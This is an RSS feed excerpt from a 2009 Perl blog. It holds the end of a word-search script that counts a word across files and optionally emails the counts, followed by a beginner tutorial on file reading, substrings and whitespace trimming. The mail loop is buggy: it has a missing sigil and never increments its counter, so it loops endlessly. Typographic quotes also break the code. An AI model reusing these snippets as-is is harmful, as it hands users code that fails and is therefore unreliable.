<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 2;">                   </span></span><span style="font-size: 10pt; color: purple; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">#Split the line based on space and stores it in the array @array</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 2;">                   </span></span><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">my @array = split(/ /,$line);</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 2;">                   </span></span><span style="font-size: 10pt; color: purple; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">#The loop continues until it reaches the end of the array</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 2;">                   </span></span><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">while($count &lt; @array)</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 2;">                   </span>{</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 3;">                             </span></span><span style="font-size: 10pt; color: purple; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">#Checks the array one by one to find whether the elements matches with the search words.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: purple; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 3;">                             </span>#If matches then increments the word count.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span></span><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 2;">                   </span>if ($array[$count] eq $wordToSearch)</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 3;">                             </span>{</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 4;">                                      </span>$wordCount[$fileCount]= $wordCount[$fileCount]+1;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 3;">                             </span>}</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 3;">                             </span>$count=$count+1;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 2;">                   </span>}</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span>}</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span></span><span style="font-size: 10pt; color: purple; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">#Count the total number of words in all the files.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span></span><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">$totalWordCount=$totalWordCount+$wordCount[$fileCount];</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span></span><span style="font-size: 10pt; color: purple; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">#Print the result.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span>print (&#8221;The Number of Occurance of the word \&#8221;$wordToSearch\&#8221; in the file \&#8221;$ARGV[$fileCount]\&#8221; is: $wordCount[$fileCount]\n\n&#8221;);</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span>$fileCount=$fileCount+1;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">}</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">print(&#8221;The total number of Ocuurance of the word \&#8221;$wordToSearch\&#8221; in all the files is : $totalWordCount \n\n&#8221;);</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: purple; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">#Below is the optional code which you can add if you want to send a mail with the details.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">open (MAIL, &#8220;|$mailer -t&#8221;) || die &#8220;Can&#8217;t open mailer&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">print MAIL &#8220;To: $toaddress\n&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">print MAIL &#8220;cc: \n&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">print MAIL &#8220;Subject: $subject\n\n&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">$count=0;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">while($count &lt; @ARGV)</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">{</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span>print MAIL &#8220;The Number of Occurance of the word \&#8221;$wordToSearch\&#8221; in the file \&#8221;$ARGV[count]\&#8221; is: $wordCount[count]\n\n&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">}</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">print MAIL &#8220;The total number of Ocuurance of the word \&#8221;$wordToSearch\&#8221; in all the files is : $totalWordCount \n\n\n\n&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">print MAIL &#8220;\n\nThis email was system generated, please do not reply.&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">print MAIL &#8220;\n\n\n\n\n\n\n\n\n\n\n\nThis e-mail may contain confidential and/or privileged information. If you are not the intended recipient (or have received this e-mail in error) please notify the sender immediately and destroy this e-mail. Any unauthorized copying, disclosure or distribution of the material in this e-mail is strictly forbidden.&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">close (MAIL);</span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.dailyinfobyte.com/2009/03/23/perl-script-a-word-search-program/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Perl &#8211; Coding Tips</title>
		<link>http://www.dailyinfobyte.com/2009/03/23/perl-coding-tips/</link>
		<comments>http://www.dailyinfobyte.com/2009/03/23/perl-coding-tips/#comments</comments>
		<pubDate>Tue, 24 Mar 2009 03:02:30 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Technical]]></category>
		<category><![CDATA[coding tips]]></category>
		<category><![CDATA[Perl]]></category>
		<category><![CDATA[Perl - Coding Tips]]></category>
		<category><![CDATA[perl scripts]]></category>
		<category><![CDATA[scripts]]></category>
		<category><![CDATA[technical FAQ]]></category>
		<category><![CDATA[technical tips]]></category>

		<guid isPermaLink="false">http://www.dailyinfobyte.com/?p=117</guid>
		<description><![CDATA[Introduction
This document covers the basic functionalities in perl. These include the following:
·         Open and read file
·         Substring
·         Trim white spaces
·         Join string with/out delimiter
·         Remove newline
·         Split into array [reading key value pair]
·         String comparison and numeric comparison 
·         Assign data in Hash or associative array and access the data
·         Write to and Close file
 
 
Open [...]]]></description>
			<content:encoded><![CDATA[<p class="MsoNormal" style="margin: 0in 11.25pt 10pt 1in;"><strong><span style="font-size: 10pt; color: #000066; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Introduction</span></strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in; text-align: justify;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">This document covers the basic functionalities in perl. These include the following:</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1.5in; text-indent: -0.25in; text-align: justify; mso-list: l0 level2 lfo1; tab-stops: list 1.5in;"><span style="font-size: 10pt; font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol;"><span style="mso-list: Ignore;">·<span style="font: 7pt &quot;Times New Roman&quot;;">         </span></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Open and read file</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1.5in; text-indent: -0.25in; text-align: justify; mso-list: l0 level2 lfo1; tab-stops: list 1.5in;"><span style="font-size: 10pt; font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol;"><span style="mso-list: Ignore;">·<span style="font: 7pt &quot;Times New Roman&quot;;">         </span></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Substring</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1.5in; text-indent: -0.25in; text-align: justify; mso-list: l0 level2 lfo1; tab-stops: list 1.5in;"><span style="font-size: 10pt; font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol;"><span style="mso-list: Ignore;">·<span style="font: 7pt &quot;Times New Roman&quot;;">         </span></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Trim white spaces</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1.5in; text-indent: -0.25in; text-align: justify; mso-list: l0 level2 lfo1; tab-stops: list 1.5in;"><span style="font-size: 10pt; font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol;"><span style="mso-list: Ignore;">·<span style="font: 7pt &quot;Times New Roman&quot;;">         </span></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Join string with/out delimiter</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1.5in; text-indent: -0.25in; text-align: justify; mso-list: l0 level2 lfo1; tab-stops: list 1.5in;"><span style="font-size: 10pt; font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol;"><span style="mso-list: Ignore;">·<span style="font: 7pt &quot;Times New Roman&quot;;">         </span></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Remove newline</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1.5in; text-indent: -0.25in; text-align: justify; mso-list: l0 level2 lfo1; tab-stops: list 1.5in;"><span style="font-size: 10pt; font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol;"><span style="mso-list: Ignore;">·<span style="font: 7pt &quot;Times New Roman&quot;;">         </span></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Split into array [reading key value pair]</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1.5in; text-indent: -0.25in; text-align: justify; mso-list: l0 level2 lfo1; tab-stops: list 1.5in;"><span style="font-size: 10pt; font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol;"><span style="mso-list: Ignore;">·<span style="font: 7pt &quot;Times New Roman&quot;;">         </span></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">String comparison and numeric comparison </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1.5in; text-indent: -0.25in; text-align: justify; mso-list: l0 level2 lfo1; tab-stops: list 1.5in;"><span style="font-size: 10pt; font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol;"><span style="mso-list: Ignore;">·<span style="font: 7pt &quot;Times New Roman&quot;;">         </span></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Assign data in Hash or associative array and access the data</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1.5in; text-indent: -0.25in; text-align: justify; mso-list: l0 level2 lfo1; tab-stops: list 1.5in;"><span style="font-size: 10pt; font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol;"><span style="mso-list: Ignore;">·<span style="font: 7pt &quot;Times New Roman&quot;;">         </span></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Write to and Close file</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1.25in; text-align: justify;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1.25in; text-align: justify;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<h2 style="margin: 0in 0in 0pt 1in;"><a name="_Toc220220659"><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Open and Read file</span></span></a><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></span></h2>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-indent: 0.5in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">To open and read a file, the read access to the file should be given. </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">open (&lt;File identifier&gt;,&#8221;&lt;&#8221;,&#8221;&lt;file&gt;&#8221;)</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">or die &#8220;open failed:<span style="mso-spacerun: yes;">  </span>$!&#8221;</span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">File Identifier</span></strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> – After opening the file, the file will be referenced with the file identifier.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Symbol</span></strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> ‘<strong style="mso-bidi-font-weight: normal;">&lt;</strong>’ – open a file in read mode</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">die</span></strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> &#8211; If open of the file failed, the program will display the error message and abort</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">$var=&lt; File identifier&gt;</span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">E.g.: <strong style="mso-bidi-font-weight: normal;">$var=’this is the first line of the file’</strong></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Read the first record (first line) from the file. Variable $var will hold the first line of the file.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; color: black; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">@file_array=&lt;</span><span style="font-size: 10pt; background: silver; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;"> File identifier<span style="color: black;"> &gt;</span></span><span style="font-size: 10pt; color: black; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">The contents of the file can be assigned to an array</span></p>
<h2 style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></h2>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<h2 style="margin: 0in 0in 0pt 0.5in; text-indent: 0.5in;"><a name="_Toc220220660"><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Substring</span></span></a><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></span></h2>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">$substr_var=substr &lt;string&gt;, &lt;start position&gt;, &lt;field length&gt;</span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Get a substring of the first record from the file. The first record is stored in the variable $var. </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">In perl, the start position of a string is 0.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">E.g.: If we need to cut first 5 characters from $var, start position will be 0 and field length will be 5.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">$substr_var=substr $var, 0, 5</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">So,<strong style="mso-bidi-font-weight: normal;"> $substr_var=’this ‘</strong></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Note: Start position of a string in UNIX is 1. </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<h2 style="margin: 0in 0in 0pt 0.5in; text-indent: 0.5in;"><a name="_Toc220220661"><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Trim White Spaces</span></span></a><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></span></h2>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Substitute one or more white space characters with nothing from the end of the string (trailing spaces)</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; color: black; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">$variable =~ s/\s+$//</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Substitute one or more white space characters with nothing from the beginning of the string (leading spaces)</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; color: black; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">$variable =~ s/^\s+//</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Substitute one or more white space characters with nothing from anywhere in the string</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; color: black; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">$string =~ s/\s+//g</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
